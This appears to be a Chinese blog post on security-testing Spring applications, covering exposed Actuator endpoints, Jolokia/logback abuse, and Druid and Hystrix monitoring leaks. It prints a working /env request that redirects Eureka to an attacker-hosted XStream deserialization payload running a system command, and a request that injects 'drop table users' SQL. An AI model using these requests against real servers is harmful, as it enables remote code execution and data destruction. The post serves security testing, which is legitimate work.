spring框架的一些测试思路
一.Spring Boot Actuators
Spring Boot Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
当Spring Boot应用程序运行时,它会自动将多个端点例如/health,/trace,/beans,/env等注册到路由过程中。对于Spring Boot 1-1.4,无需身份验证即可访问它们,从而导致严重的安全性问题。从Spring 1.5版开始,默认情况下,除/health和/info之外的所有端点都被视为敏感和不安全的,但是应用程序开发人员经常禁用此安全性。
以下Actuator端点可能会带来安全隐患,从而导致可能的漏洞:
| 路径 | 描述 |
|---|---|
| /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| /beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性(包含默认值)如何注入Bean |
| /dump | 获取线程活动的快照 |
| /logfile | 输出日志文件的内容 |
| /restart | 重新启动应用程序 |
| /mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 |
| /metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 |
| /shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true |
| /trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
对于Spring 1x,它们在根目录下注册,而在2x中,它们移至/actuator/路径。
一些可能获取shell的方法
1.通过/jolokia执行远程代码
Jolokia库使用用户提供的输入来启动LDAP/RMI连接,在jolokia/list目录搜索logback组件

logback组件提供的reloadByURL 操作使我们可以从外部URL重新加载日志配置,只需要访问
因为日志配置为xml格式,当logback启用外部实体时,会对其进行解析,可以实现盲XXE。
logback配置具有从JNDI获取变量的功能,在XML文件中,我们可以包含一个标签,例如并且name属性将传递到DirContext.lookup()方法。如果我们可以在 .lookup()函数中提供一个任意名称,那么我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的Remote Code Execution。
2.通过/env修改配置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream
先执行上面请求将Eureka serviceURL修改为任意值,然后请求/refresh。如果Eureka-Client <1.8.7则可以利用XStream反序列化漏洞,服务器上xstream的内容为:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>whoami</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
其他有用的设置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
spring.datasource.tomcat.validationQuery=drop+table+users
此请求可以执行任意SQL语句

有一个要注意的地方在Spring Boot 2x中通过/env的请求方式为json格式
/swagger-ui.html接口泄露

可测试有误未授权接口,接口有无注入。
二.Druid
druid是国内及公司内部最常用的数据库连接池配置管理工具;其内置监控页面,用于拦截sql及实时监控连接池/sql信息,该页面在原生的druid包中默认为禁用,但其用于适配springboot的druid-spring-boot-starter包,默认打开该监控页面(http://ip:port/druid/index.html) ,打开后存在如下风险:
泄漏DB域名、使用用户及库名:

泄漏SQL信息:

泄露session:

三.hystrix监控
Hystrix除了实现容错之外,还提供了近乎实时的监控。Hystrix Command和HystrixObservableCommand在执行时,会会生成执行结果和运行指标,比如每秒的请求数和成功数等,这些监控数据对于分析系统请求的调用情况很有用。

spring框架的一些测试思路的更多相关文章
- Spring框架下Junit测试
Spring框架下Junit测试 一.设置 1.1 目录 设置源码目录和测试目录,这样在设置产生测试方法时,会统一放到一个目录,如果没有设置测试目录,则不会产生测试代码. 1.2 增加配置文件 Res ...
- Spring框架进阶3
Spring框架进阶3 测试spring_jdbc和spring对事务的管理 先配置相应的pom <?xml version="1.0" encoding="UTF ...
- Spring框架基础2
Spring框架基础2 测试Spring的AOP思想和注解的使用 导包(在前面的基础上添加) SpringAOP名词解释 AOP编程思想:横向重复代码,纵向抽取:就是说多个地方重复的代码可以抽取出来公 ...
- Spring框架之beans源码完全解析
导读:Spring可以说是Java企业开发里最重要的技术.而Spring两大核心IOC(Inversion of Control控制反转)和AOP(Aspect Oriented Programmin ...
- spring框架学习笔记1:搭建测试
Spring框架介绍: Spring框架涵盖了web.service.dao三层,本身是一个存放对象的容器 形象来说:Spring是项目中对象管家 Spring框架的两大核心思想:控制反转(IOC). ...
- 使用 Spring 2.5 TestContext 测试框架
Spring 2.5 TestContext 测试框架用于测试基于 Spring 的程序,TestContext 测试框架和低版本 Spring 测试框架没有任何关系,是一个全新的基于注解的测试框架, ...
- Java开发工程师(Web方向) - 04.Spring框架 - 期末测试
Spring框架客观题 Spring框架编程题 http://blog.csdn.net/sinoacc/article/details/51702458 1 (25分) 假设有如下数据表: crea ...
- [Spring框架]Spring IOC的原理及详解。
这里感谢 CSDN 的原博客:http://blog.csdn.net/m13666368773/article/details/7802126 看后 受益匪浅,这里再重温一遍Spring IOC ...
- spring框架的一些技术总结
纵观现在互联网行业,java的地位依然不可动摇,因为java拥有着的众多开发人员和适用性广,技术与解决技术大部分开源等特点,因此java依然是众多众多开发行业作为互联网开发的首选,而说到开发,我们就不 ...
随机推荐
- SQL Server 创建表
SQL Server 创建表 我们在上一节中完成了数据库的创建,在本节,我们要往这个新的数据库中加入点数据,要想将数据添加到数据库,我们就必须在数据库中添加一个表,接下来来看看具体的操作. 我们的数据 ...
- 改计算机名导致 Oracle因目标主机或对象不存在
手贱修改了计算机名, 结果导致登陆oracle数据库报如下错误,一查资料,说是修改了计算机名导致的,需要进到oracle安装目录: \oracle\product\10.2.0\db_1\NETWOR ...
- SDK与API的理解
1.SDK SDK (Software Development Kit):软件开发工具包,一般都是软件工程师为特定的软件包.软件框架.硬件平台.操作系统等建立应用软件时的开发工具的集合. SDK (S ...
- JS中算法之检索算法(查找算法)
顺序查找 查找指定值 function seqSearch(arr, data) { for (var i = 0; i < arr.length; ++i) { if (arr[i] == d ...
- kvm动态修改内存和cpu
https://www.cnblogs.com/nmap/p/6369180.html
- [杂题]:staGame(博弈论+Trie树+DFS)
题目描述 $pure$和$dirty$决定玩$T$局游戏.对于每一局游戏,有$n$个字符串,并且每一局游戏由$K$轮组成.具体规则如下:在每一轮游戏中,最开始有一个空串,两者轮流向串的末尾添加一个字符 ...
- bootstrap基础模板页面,详细注释
<!--html5 骨架--> <!DOCTYPE html> <!--语言是中文简体--> <html lang="zh-cn"&g ...
- 我的WordPress站点
读取VDI文件 SSL和TLS Windows下使用vim的最佳方案:Sublime gdb用法 VMware的Guest与Host进行通信的三种方式 加密与解密 漫谈保护模式 processing学 ...
- sysenter内核入口点代码分析
参考:http://www.mouseos.com/windows/kernel/KiFastCallEntry.html http://www.mouseos.com/windows/kernel/ ...
- 报警插件Alertmanager 安装与使用
Alertmanager是一个独立的告警模块,接收Prometheus等客户端发来的警报,之后通过分组.删除重复等处理,并将它们通过路由发送给正确的接收器:告警方式可以按照不同的规则发送给不同的模块负 ...